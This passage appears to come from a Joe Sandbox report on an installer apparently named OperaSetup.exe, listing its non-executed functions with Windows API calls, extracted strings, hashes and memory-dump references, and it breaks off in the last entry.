Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 2972824698-0
Opcode ID: c37c337817e1dfb9061d04ab007e7fa4af6351da24787f6127d7a9909fa94f94
Instruction ID: 39264c5466c0a9c1499aa9251a9428ad8f628c8ba18ccf0a3388d06020594a91
Opcode Fuzzy Hash: c37c337817e1dfb9061d04ab007e7fa4af6351da24787f6127d7a9909fa94f94
Instruction Fuzzy Hash: ABF0FC31904111DBEB20BBA55AC94AE7260CF00318F10413FE202B21D5CABC4D41A65E

Non-executed Functions

Function 00405866 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004058C4
GetDlgItem.USER32(?,000003EE), ref: 004058D3
GetClientRect.USER32(?,?), ref: 00405910
GetSystemMetrics.USER32(00000002), ref: 00405917
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405938
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405949
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 0040595C
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040596A
SendMessageW.USER32(?,00001024,00000000,?), ref: 0040597D
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040599F
ShowWindow.USER32(?,00000008), ref: 004059B3
GetDlgItem.USER32(?,000003EC), ref: 004059D4
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004059E4
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004059FD
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405A09
GetDlgItem.USER32(?,000003F8), ref: 004058E2

Part of subcall function 00404656: SendMessageW.USER32(00000028,?,00000001,00404481), ref: 00404664

GetDlgItem.USER32(?,000003EC), ref: 00405A26
CreateThread.KERNEL32(00000000,00000000,Function_000057FA,00000000), ref: 00405A34
CloseHandle.KERNEL32(00000000), ref: 00405A3B
ShowWindow.USER32(00000000), ref: 00405A5F
ShowWindow.USER32(?,00000008), ref: 00405A64
ShowWindow.USER32(00000008), ref: 00405AAE
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405AE2
CreatePopupMenu.USER32 ref: 00405AF3
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405B07
GetWindowRect.USER32(?,?), ref: 00405B27
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405B40
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405B78
OpenClipboard.USER32(00000000), ref: 00405B88
EmptyClipboard.USER32 ref: 00405B8E
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405B9A
GlobalLock.KERNEL32(00000000), ref: 00405BA4
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405BB8
GlobalUnlock.KERNEL32(00000000), ref: 00405BD8
SetClipboardData.USER32(0000000D,00000000), ref: 00405BE3
CloseClipboard.USER32 ref: 00405BE9

Strings

{, xrefs: 00405ACC
H'D, xrefs: 00405B54

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: H'D${
API String ID: 590372296-3538427676
Opcode ID: 570833faf529d1e68f6cd33d533d4b4f7643f176c4e3a8f9582153ded90dbe4e
Instruction ID: a946544cda80648ae215d749a1304cfc675a42e6d6c1d5f97ef9608d1157b9e3
Opcode Fuzzy Hash: 570833faf529d1e68f6cd33d533d4b4f7643f176c4e3a8f9582153ded90dbe4e
Instruction Fuzzy Hash: 0DB16770800608FFDF11AFA0DD859AE3B78EB48354F10413AFA45BA1A0D7785A41DF69

Function 0040508E Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 489windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 004050A6
GetDlgItem.USER32(?,00000408), ref: 004050B1
GlobalAlloc.KERNEL32(00000040,?), ref: 004050FB
LoadImageW.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00405112
SetWindowLongW.USER32(?,000000FC,0040569B), ref: 0040512B
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 0040513F
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00405151
SendMessageW.USER32(?,00001109,00000002), ref: 00405167
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00405173
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00405185
DeleteObject.GDI32(00000000), ref: 00405188
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 004051B3
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 004051BF
SendMessageW.USER32(?,00001132,00000000,?), ref: 0040525A
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 0040528A

Part of subcall function 00404656: SendMessageW.USER32(00000028,?,00000001,00404481), ref: 00404664

SendMessageW.USER32(?,00001132,00000000,?), ref: 0040529E
GetWindowLongW.USER32(?,000000F0), ref: 004052CC
SetWindowLongW.USER32(?,000000F0,00000000), ref: 004052DA
ShowWindow.USER32(?,00000005), ref: 004052EA
SendMessageW.USER32(?,00000419,00000000,?), ref: 004053E5
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040544A
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 0040545F
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405483
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004054A3
ImageList_Destroy.COMCTL32(?), ref: 004054B8
GlobalFree.KERNEL32(?), ref: 004054C8
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405541
SendMessageW.USER32(?,00001102,?,?), ref: 004055EA
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004055F9
InvalidateRect.USER32(?,00000000,00000001), ref: 00405624
ShowWindow.USER32(?,00000000), ref: 00405672
GetDlgItem.USER32(?,000003FE), ref: 0040567D
ShowWindow.USER32(00000000), ref: 00405684

Strings

, xrefs: 0040565C
M, xrefs: 00405242
N, xrefs: 00405323

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 34fa74ef7f2c8ae10774f757d898aea139b191b20b2690d18c4730151a5bece5
Instruction ID: 154044203e87ae86578454b6b14b757097bfc819611b9ce4677548c75e4aac0f
Opcode Fuzzy Hash: 34fa74ef7f2c8ae10774f757d898aea139b191b20b2690d18c4730151a5bece5
Instruction Fuzzy Hash: D8028D70900609AFDB20DFA5CD85AAF7BB5FB45314F10857AF910BA2E1D7B98A41CF18

Function 00404122 Relevance: 61.6, APIs: 34, Strings: 1, Instructions: 357windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 0040415E
ShowWindow.USER32(?), ref: 0040417E
GetWindowLongW.USER32(?,000000F0), ref: 00404190
ShowWindow.USER32(?,00000004), ref: 004041A9
DestroyWindow.USER32 ref: 004041BD
SetWindowLongW.USER32(?,00000000,00000000), ref: 004041D6
GetDlgItem.USER32(?,?), ref: 004041F5
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00404209
IsWindowEnabled.USER32(00000000), ref: 00404210
GetDlgItem.USER32(?,00000001), ref: 004042BB
GetDlgItem.USER32(?,00000002), ref: 004042C5
SetClassLongW.USER32(?,000000F2,?), ref: 004042DF
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00404330
GetDlgItem.USER32(?,00000003), ref: 004043D6
ShowWindow.USER32(00000000,?), ref: 004043F7
EnableWindow.USER32(?,?), ref: 00404409
EnableWindow.USER32(?,?), ref: 00404424
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040443A
EnableMenuItem.USER32(00000000), ref: 00404441
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00404459
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040446C
lstrlenW.KERNEL32(00442748,?,00442748,00000000), ref: 00404496
SetWindowTextW.USER32(?,00442748), ref: 004044AA
ShowWindow.USER32(?,0000000A), ref: 004045DE

Strings

H'D, xrefs: 00404486

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: Window$Item$MessageSendShow$EnableLong$Menu$ClassDestroyEnabledSystemTextlstrlen
String ID: H'D
API String ID: 1860320154-716976774
Opcode ID: 9939712a446ab727087054d1c74408c37dfd1bc10aee081f917b5745ceaee613
Instruction ID: 87935a59af8161b0f78328c19d4fe10c51b4425a276279a6d07330ead90e7465
Opcode Fuzzy Hash: 9939712a446ab727087054d1c74408c37dfd1bc10aee081f917b5745ceaee613
Instruction Fuzzy Hash: C4C1C2B1500604BBCB216F61EE85E2B3BA8FB85745F11097EFB41B11F0DB7998419B2E

Function 004047E0 Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040487E
GetDlgItem.USER32(?,000003E8), ref: 00404892
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004048AF
GetSysColor.USER32(?), ref: 004048C0
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004048CE
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004048DC
lstrlenW.KERNEL32(?), ref: 004048E1
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004048EE
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404903
GetDlgItem.USER32(?,0000040A), ref: 0040495C
SendMessageW.USER32(00000000), ref: 00404963
GetDlgItem.USER32(?,000003E8), ref: 0040498E
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004049D1
LoadCursorW.USER32(00000000,00007F02), ref: 004049DF
SetCursor.USER32(00000000), ref: 004049E2
LoadCursorW.USER32(00000000,00007F00), ref: 004049FB
SetCursor.USER32(00000000), ref: 004049FE
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404A2D
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404A3F

Strings

N, xrefs: 0040497C
"C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0, xrefs: 004049BD
WG@, xrefs: 004049EA

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: "C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0$N$WG@
API String ID: 3103080414-88766510
Opcode ID: b01416c62338905acfc632b3e745d4ba8895ca3ce3da3a804f9e2edfaf49b693
Instruction ID: 519c373e7f185e7fda66e670232f02753279bd673d39c82729c50cf19e81ba39
Opcode Fuzzy Hash: b01416c62338905acfc632b3e745d4ba8895ca3ce3da3a804f9e2edfaf49b693
Instruction Fuzzy Hash: 6461B3B1A40209BFDF10AF60CD85A6A7B79FB84304F00843AFA15B62D0D779A951CF99

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00464260,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: fed5d4dc3d325cae90a53ae0d2fcb83d70f3ae94d69320437858ee33f07fdf71
Instruction ID: dda4e0b8355a10cf3a4659add9ec42a83d374e9472f600803517c33aed587cab
Opcode Fuzzy Hash: fed5d4dc3d325cae90a53ae0d2fcb83d70f3ae94d69320437858ee33f07fdf71
Instruction Fuzzy Hash: 96418A71804209AFCF058FA5DE459BFBBB9FF45314F00802EF991AA1A0C7749A55DFA4

Function 00404B12 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404B61
SetWindowTextW.USER32(00000000,?), ref: 00404B8B
SHBrowseForFolderW.SHELL32(?), ref: 00404C3C
CoTaskMemFree.OLE32(00000000), ref: 00404C47
lstrcmpiW.KERNEL32("C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0,00442748,00000000,?,?), ref: 00404C79
lstrcatW.KERNEL32(?,"C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0), ref: 00404C85
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404C97

Part of subcall function 00405CE6: GetDlgItemTextW.USER32(?,?,00002000,00404CCE), ref: 00405CF9

Part of subcall function 00406950: CharNextW.USER32(?,*?|<>/":,00000000,004BD000,74DF3420,004D1000,00000000,00403640,004D1000,004D1000,0040394F,?,00000008,0000000A,0000000C), ref: 004069B3
Part of subcall function 00406950: CharNextW.USER32(?,?,?,00000000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 004069C2
Part of subcall function 00406950: CharNextW.USER32(?,004BD000,74DF3420,004D1000,00000000,00403640,004D1000,004D1000,0040394F,?,00000008,0000000A,0000000C), ref: 004069C7
Part of subcall function 00406950: CharPrevW.USER32(?,?,74DF3420,004D1000,00000000,00403640,004D1000,004D1000,0040394F,?,00000008,0000000A,0000000C), ref: 004069DA

GetDiskFreeSpaceW.KERNEL32(00432718,?,?,0000040F,?,00432718,00432718,?,00000001,00432718,?,?,000003FB,?), ref: 00404D5A
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404D75

Part of subcall function 00404ECE: lstrlenW.KERNEL32(00442748,00442748,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404F6F
Part of subcall function 00404ECE: wsprintfW.USER32 ref: 00404F78
Part of subcall function 00404ECE: SetDlgItemTextW.USER32(?,00442748), ref: 00404F8B

Strings

A, xrefs: 00404C35
"C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0, xrefs: 00404C73, 00404C78, 00404C83
H'D, xrefs: 00404C0F

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0$A$H'D
API String ID: 2624150263-4075856908
Opcode ID: a3fe85cda2bd1e3b216b6d9087c51d3bdf9f40a25cc22ec4f2908b689d4934be
Instruction ID: 631ab75ceab9e691d6259a87645379c0ec27aba7f5179a8718d2cd07d5d9f082
Opcode Fuzzy Hash: a3fe85cda2bd1e3b216b6d9087c51d3bdf9f40a25cc22ec4f2908b689d4934be
Instruction Fuzzy Hash: 52A1A3B1900209ABDB11AFA5CD81AEF77B8FF84754F11843BF601B62D1DB7C89418B69

Function 004062E8 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406483,?,?), ref: 00406323
GetShortPathNameW.KERNEL32(?,0045ADE8,00000400), ref: 0040632C

Part of subcall function 004060F7: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004063DC,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406107
Part of subcall function 004060F7: lstrlenA.KERNEL32(00000000,?,00000000,004063DC,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406139

GetShortPathNameW.KERNEL32(?,0045B5E8,00000400), ref: 00406349
wsprintfA.USER32 ref: 00406367
GetFileSize.KERNEL32(00000000,00000000,0045B5E8,C0000000,00000004,0045B5E8,?,?,?,?,?), ref: 004063A2
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 004063B1
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004063E9
SetFilePointer.KERNEL32(0040A5B0,00000000,00000000,00000000,00000000,0045A9E8,00000000,-0000000A,0040A5B0,00000000,[Rename],00000000,00000000,00000000), ref: 0040643F
GlobalFree.KERNEL32(00000000), ref: 00406450
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00406457

Part of subcall function 00406192: GetFileAttributesW.KERNEL32(00000003,00403138,004D9000,80000000,00000003), ref: 00406196
Part of subcall function 00406192: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 004061B8

Strings

[Rename], xrefs: 004063D1, 004063E3
%ls=%ls, xrefs: 0040635D

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 54cf7ae50ddf40535992a726cd06f9f81a4a0a47f0cb7f2e08aac5df862df744
Instruction ID: 026d517b253a5d6ccbe57f845948a58d3e37c3b70aabf831ebb2f23b3e620644
Opcode Fuzzy Hash: 54cf7ae50ddf40535992a726cd06f9f81a4a0a47f0cb7f2e08aac5df862df744
Instruction Fuzzy Hash: 14312370600315BBD2207F659D49F6B3A6CDF41759F12403AFA02F62D3EA7C982986BD

Function 004066DF Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 204stringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32("C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0,00002000), ref: 00406801
GetWindowsDirectoryW.KERNEL32("C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0,00002000,00000000,0043A728,?,?,00000000,00000000,00000000,00000000), ref: 00406817
SHGetPathFromIDListW.SHELL32(00000000,"C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0), ref: 00406875
CoTaskMemFree.OLE32(00000000,?,00000000,00000007), ref: 0040687E
lstrcatW.KERNEL32("C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0,\Microsoft\Internet Explorer\Quick Launch,00000000,0043A728,?,?,00000000,00000000,00000000,00000000), ref: 004068A9
lstrlenW.KERNEL32("C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0,00000000,0043A728,?,?,00000000,00000000,00000000,00000000), ref: 00406903

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 004068A3
"C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0, xrefs: 0040670C, 004067C6, 004067CD, 004067D1, 004067EA, 004067EB, 00406800, 00406816, 00406847, 00406873, 004068A8, 004068AE, 004068CB, 004068DE, 004068FC, 00406902, 0040690B, 00406940
Software\Microsoft\Windows\CurrentVersion, xrefs: 004067D2

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: Directory$FreeFromListPathSystemTaskWindowslstrcatlstrlen
String ID: "C:\Users\user\Downloads\OperaSetup.exe" --silent --allusers=0$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4024019347-1466120327
Opcode ID: 9e3b55293402a094a689701159d9a6112b8f3c4007e64e8ac0521a09e1289eeb
Instruction ID: 81e951f8fe173c1ecdb7e664093ca8164433b695446651b9203bd6f4f8051ee3
Opcode Fuzzy Hash: 9e3b55293402a094a689701159d9a6112b8f3c4007e64e8ac0521a09e1289eeb
Instruction Fuzzy Hash: 5B6145B2A053019BEB20AF65DC8472B77D4AF45314F25453FF583B22D0EA7C8960876E

Function 00404688 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004046A5
GetSysColor.USER32(00000000), ref: 004046E3
SetTextColor.GDI32(?,00000000), ref: 004046EF
SetBkMode.GDI32(?,?), ref: 004046FB
GetSysColor.USER32(?), ref: 0040470E
SetBkColor.GDI32(?,?), ref: 0040471E
DeleteObject.GDI32(?), ref: 00404738
CreateBrushIndirect.GDI32(?), ref: 00404742

Memory Dump Source

Source File: 0000001A.00000002.2705034124.0000000000401000.00000020.00000001.01000000.00000015.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2704996397.0000000000400000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705066622.0000000000408000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000040A000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000041E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.000000000045B000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705099216.00000000004F1000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000001A.00000002.2705273053.00000000004FD000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_ya.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 9dba601b91aff6ac4bf2e5f3eaee39d76022ea5146a5c84035e03d3d84c8d27c
Instruction ID: dc9e33635e48260261a40037ac820fc698cd45b4c1bae75aa0874807b7806060
